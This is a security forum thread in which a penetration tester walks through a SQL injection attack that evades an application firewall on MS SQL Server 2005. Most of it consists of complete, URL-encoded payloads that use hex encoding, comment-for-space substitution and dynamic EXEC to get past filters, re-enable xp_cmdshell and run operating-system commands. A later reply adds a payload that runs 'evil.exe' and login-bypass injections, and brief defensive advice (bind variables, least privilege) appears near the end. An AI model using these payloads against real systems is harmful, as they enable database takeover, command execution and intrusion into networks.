.

SQL Injection 201: Hacking the Application Firewall

<<

Simon

User avatar

Newbie
Newbie

Posts: 18

Joined: Tue Aug 19, 2008 7:59 pm

Post Thu Aug 21, 2008 5:26 pm

SQL Injection 201: Hacking the Application Firewall

OK...by request, here goes (warning:  gets a bit technical):



The Situation:
You have a web application (say, http://hackme.com). 
You've identified a page on it that is vulnerable to SQL Injection (say, http://hackme.com/hacked.cfm?id=123)



Your Knowledge (via error messages and/or information gathering):
The target is running MS SQL Server 2005
The target is running an application firewall (let's say ISS, though it could just as easily be Barracuda or others)
The "id" field in the URL is passed verbatim into a dynamic SQL query as an integer (bad developer, no cookie!)
The developer (not wanting to be hacked), passes all user input through a filter that pads single quotes (adding an additional single quote so that it's treated as a literal)
The developer (really not wanting to be hacked), strips all whitespace (internal and external) from input
Developers being developers, we believe that the web application connects to the database as a user with administrative privileges



Your Goals:
Get access to the command line on the database server (via xp_cmdshell, of course)
Take over the server
Expand your access out into the network
Conquer the planet

For the purposes of this discussion, we'll leave it at wanting to get something along the following lines to execute in the database:

exec master..xp_cmdshell 'echo pwn3d>hack.txt'

Not terribly exciting, but it shows all the access we need to accomplish all of the above (with the possible exception of conquering the planet).



Problems:
Every application firewall on the planet will pick up on xp_cmdshell
Padding of single quotes, while not preventing us from injecting on a numeric field, does make life difficult for passing string-based arguments to functions in our SQL
Removing all whitespace from our input ticks us off and prevents normal SQL from executing
MS SQL Server 2005 disables xp_cmdshell by default.   It has to be explicitly enabled before anyone (even sa) can call it.



The Hack:
First off, we deal with those pesky single quotes.   Little known fact:  SQL Server will treat hex as a varchar.   So the following are equivalent:

'echo pwn3d>hack.txt'
0x6563686F2070776E33643E6861636B2E747874

This changes the string that we want to execute to:

exec master..xp_cmdshell 0x6563686F2070776E33643E6861636B2E747874

Ok...so far so good (no single quotes)....but there's still that application firewall (that hideously expensive appliance designed to keep us from doing exactly what we're looking to do).

Application firewalls (even the big, expensive ones) effectively operate off of black lists.   Powerful, somewhat dynamic black lists, but black lists nonetheless.   While they will definitely pick up on "xp_cmdshell", we may be able to write things in a way that they don't know about.

Enter Transact SQL (in this case)....plus a second little known fact:  the "exec" statement can take an nvarchar as an argument.   So we write some TSQL  (note, the hex for xp_cmdshell is 0x78705F636D647368656C6C):

  Code:
declare @v as varchar(2048)
declare @n as nvarchar(2048)
set @v = 0x78705F636D647368656C6C
set @n = cast(@v as nvarchar)
set @v = 0x6563686F2070776E33643E6861636B2E747874
execute @n @v



I use "execute" rather than "exec" as some application firewalls (*cough*Barracuda*cough*) will pick up on "exec" as perl command line injection.

Finally, we deal with that pesky stripping of whitespace.   Little known fact number 3:  SQL Server will treat inline comments as whitespace, so "SELECT * FROM sysobjects" and "SELECT/**/*/**/FROM/**/sysobjects" are the same.   Applying this to our TSQL, we get the marvelously hideous string:

  Code:
declare/**/@v/**/as/**/varchar(2048)/**/declare/**/@n/**/as/**/nvarchar(2048)/**/set/**/@v/**/=/**/0x78705F636D647368656C6C/**/set/**/@n=cast(@v/**/as/**/nvarchar)/**/set/**/@v=0x6563686F2070776E33643E6861636B2E747874/**/execute/**/@n/**/@v


Dropping this into our URL (and URL-encoding), we get:
  Code:
http://hackme.com/hack.cfm?id=1;declare/**/@v/**/as/**/varchar(2048)/**/declare/**/@n/**/as/**/nvarchar(2048)/**/set/**/@v/**/%3d/**/0x78705F636D647368656C6C/**/set/**/@n%3dcast(@v/**/as/**/nvarchar)/**/set/**/@v%3d0x6563686F2070776E33643E6861636B2E747874/**/execute/**/@n/**/@v;+--


We hit this page and.....DRAT!   It doesn't work.   They must not have enabled xp_cmdshell on the SQL Server 2K5.

Never fear, this is why life is fun.   If you have admin privileges, you can enable xp_cmdshell via the following:

sp_configure 'show advanced options',1
reconfigure
sp_configure 'xp_cmdshell',1
reconfigure

Note that you can't call CONFIG (a.k.a. reconfigure) during a user transaction, so you'll want to do some commits.

Applying what we learned above, we can make a new statement:

  Code:
http://hackme.com/hack.cfm?id=1;commit;declare/**/@v/**/as/**/varchar(2048)/**/declare/**/@n/**/as/**/nvarchar(2048)/**/set/**/@v/**/%3d/**/0x73705F636F6E666967757265/**/set/**/@n%3dcast(@v/**/as/**/nvarchar)/**/set/**/@v%3d0x73686F7720616476616E636564206F7074696F6E73/**/execute/**/@n/**/@v,1;commit;reconfigure;declare/**/@v/**/as/**/varchar(2048)/**/declare/**/@n/**/as/**/nvarchar(2048)/**/set/**/@v/**/%3d/**/0x73705F636F6E666967757265/**/set/**/@n%3dcast(@v/**/as/**/nvarchar)/**/set/**/@v%3d0x78705F636D647368656C6C/**/execute/**/@n/**/@v,1;commit;reconfigure;+--


Then, our nefarious work done, we call our newly enabled xp_cmdshell:

  Code:
http://hackme.com/hack.cfm?id=1;declare/**/@v/**/as/**/varchar(2048)/**/declare/**/@n/**/as/**/nvarchar(2048)/**/set/**/@v/**/%3d/**/0x78705F636D647368656C6C/**/set/**/@n%3dcast(@v/**/as/**/nvarchar)/**/set/**/@v%3d0x6563686F2070776E33643E6861636B2E747874/**/execute/**/@n/**/@v;+--





Conclusions:
The above code is one means to an end.   There's a large number of variations on this (PL-SQL, Java, other forms of T-SQL, etc.).  The main gist is that you're passing information into the App Firewall that it has no idea what to do with (it's not in the black list), so it lets it go.   This is not a flaw in the application firewall....it's just the nature of the beast.

If you can get one of the T-SQL statements to go through, you can execute any SQL that you want -- all of the actual "work" is done in the hex strings.

I've done pretty much this exact attack on numerous clients (most recently just this week) to take over the database server, establish a command shell, and proceed to expand out into the network.
Last edited by Simon on Thu Aug 21, 2008 5:33 pm, edited 1 time in total.
C|EH, ECSA, C|EI
http://www.halock.com
<<

Dark_Knight

User avatar

Sr. Member
Sr. Member

Posts: 294

Joined: Mon Aug 11, 2008 7:03 pm

Post Thu Aug 21, 2008 7:46 pm

Re: SQL Injection 201: Hacking the Application Firewall

Interesting stuff. Would this work against applications that use stored procedures? So instead of using the parameters passed on the url directly in a dynamic query I would pass it as a variable to a stored procedure.
ex.
create procedure HackProof
@parm as varchar(10),
@parm2 as varchar(10)
begin
  select data
    from table
  where field  = @parm
    and field2 = @parm2
end
Last edited by Dark_Knight on Thu Aug 21, 2008 8:15 pm, edited 1 time in total.
CEH, OSCP, GPEN, GWAPT, GCIA
http://sector876.blogspot.com
<<

Simon

User avatar

Newbie
Newbie

Posts: 18

Joined: Tue Aug 19, 2008 7:59 pm

Post Thu Aug 21, 2008 8:48 pm

Re: SQL Injection 201: Hacking the Application Firewall

Certainly -- it all depends on how the stored procedure is called by the code.   If the code uses dynamic SQL, then the only thing stored procedures protect you from is bundling additional data into the original query (ala "UNION ALL" or equality statements).

If parm1 and parm2 in your example above were passed in via a query string along the lines of:  http://hackme.com/hack.cfm?parm1=foo&parm2=bar, injection on parm2 would go along the lines of:

http://hackme.com/hack.cfm?parm1=foo&parm2=bar');+exec+master..xp_cmdshell+'evil.exe'+--
C|EH, ECSA, C|EI
http://www.halock.com
<<

venom77

User avatar

Hero Member
Hero Member

Posts: 1905

Joined: Mon Dec 11, 2006 3:23 pm

Post Thu Aug 21, 2008 9:46 pm

Re: SQL Injection 201: Hacking the Application Firewall

Nice post, Simon. Very interesting and well done :) Thanks
<<

LSOChris

Post Thu Aug 21, 2008 10:15 pm

Re: SQL Injection 201: Hacking the Application Firewall

i need to digest most of that but the key part of the hack is that the database is running as a priv user correct? and you see that alot?  is there a good reason people are still doing that?
<<

Simon

User avatar

Newbie
Newbie

Posts: 18

Joined: Tue Aug 19, 2008 7:59 pm

Post Fri Aug 22, 2008 1:28 am

Re: SQL Injection 201: Hacking the Application Firewall

The privileged account is what allows you to get at xp_cmdshell (eventually), which is what gives you the ability to expand your influence from the database to the server itself (and then the world).   I see that often.  Normally just laziness on the part of the developer, I guess....or lack of knowledge.

That's part of the hack.  Other parts are bypassing the developer's "protection" -- padding single quotes (which I see often), removing whitespace (which I see VERY often in older apps).  And, of course, bypassing the application firewall, which just takes a little ingenuity to write SQL that doesn't look like SQL to the firewall (and is therefore allowed).

To expand a little on the stored proc comment above, if the developer is using bind variables in his code (the recommended practice), then there is no possibility for SQL Injection.   This statement holds whether or not he is calling a stored proc or a simple SELECT statement.   If the developer is not using bind variables and is inserting user input directly into the SQL statement being executed, then the use of stored procs does not protect you from SQL injection -- all it does is forces the injection to go (mostly) into batch queries.  Consider the following:

SELECT * FROM users WHERE username = '$user$' AND password = '$pass$'

sp_login('$user$', '$pass$')

in the first statement, you have full control.   Inject into $user$ and you can change the statement to:

SELECT * FROM users WHERE username = 'foo' OR 'a' = 'a' -- AND password = 'bar'

Injected value:  $user$ = "foo' OR 'a' = 'a' --"

Or really anything else that you want....including batch statements.

In the second statement, you can't inject into the parameter itself, you have to close out the stored proc call in order to get valid SQL, so injecting into $user$ becomes:

sp_login('foo', null); exec xp_somethingbad 'other params'; -- 'bar');

Injected value:  $user$ = "foo', null); exec xp_something bad 'other params'; --"
Last edited by Simon on Fri Aug 22, 2008 1:30 am, edited 1 time in total.
C|EH, ECSA, C|EI
http://www.halock.com
<<

RoleReversal

User avatar

Hero Member
Hero Member

Posts: 928

Joined: Fri Jan 04, 2008 8:54 am

Location: UK

Post Fri Aug 22, 2008 3:12 am

Re: SQL Injection 201: Hacking the Application Firewall

Simon,

great post, I'm with Chris in that it's going to take a while to digest everything as most of what you discuss is fairly new to me (and I'm late to the web app game as a whole).

Really interesting read.
RR
<<

Dark_Knight

User avatar

Sr. Member
Sr. Member

Posts: 294

Joined: Mon Aug 11, 2008 7:03 pm

Post Fri Aug 22, 2008 8:18 am

Re: SQL Injection 201: Hacking the Application Firewall

Very informative post Simon.Very informative............
CEH, OSCP, GPEN, GWAPT, GCIA
http://sector876.blogspot.com
<<

venom77

User avatar

Hero Member
Hero Member

Posts: 1905

Joined: Mon Dec 11, 2006 3:23 pm

Post Tue Jan 20, 2009 3:57 pm

Re: SQL Injection 201: Hacking the Application Firewall

I just received a copy of the TRUST newsletter for the month and thought the SQL Injection article sounded very familiar... come to find out, there's a link back to EH-Net at the bottom.

Nice job :)

BillV

Link to the Newsletter: TRUST January 2009 (article is on page 7)
Last edited by venom77 on Tue Jan 20, 2009 3:59 pm, edited 1 time in total.
<<

charlottebandit

Newbie
Newbie

Posts: 49

Joined: Sat Jun 10, 2006 4:26 pm

Post Fri Feb 13, 2009 12:36 am

Re: SQL Injection 201: Hacking the Application Firewall

Excellent post Simon!  You're right that most web app f/w's work off blacklists which doesn't allow much room for proactive thinking.  Although you can enter in your custom scripts, most wouldn't know how to do that nor have the time to look into that.
MS, CCSP, CCNP, CCDP, CEH, CHFI, CPTS
<<

jason

User avatar

Hero Member
Hero Member

Posts: 1013

Joined: Sat Jun 21, 2008 6:23 pm

Location: USA

Post Fri Feb 13, 2009 9:02 pm

Re: SQL Injection 201: Hacking the Application Firewall

Good stuff Simon. Keep it coming!
<<

timmedin

User avatar

Sr. Member
Sr. Member

Posts: 469

Joined: Thu Feb 05, 2009 11:18 pm

Post Wed Feb 18, 2009 12:16 am

Re: SQL Injection 201: Hacking the Application Firewall

Didn't know you could do a reconfigure in like that. Nice!
twitter.com/timmedin | http://blog.securitywhole.com

Return to Web Applications

Who is online

Users browsing this forum: No registered users and 1 guest

cron
.
Powered by phpBB® Forum Software © phpBB Group.
Designed by ST Software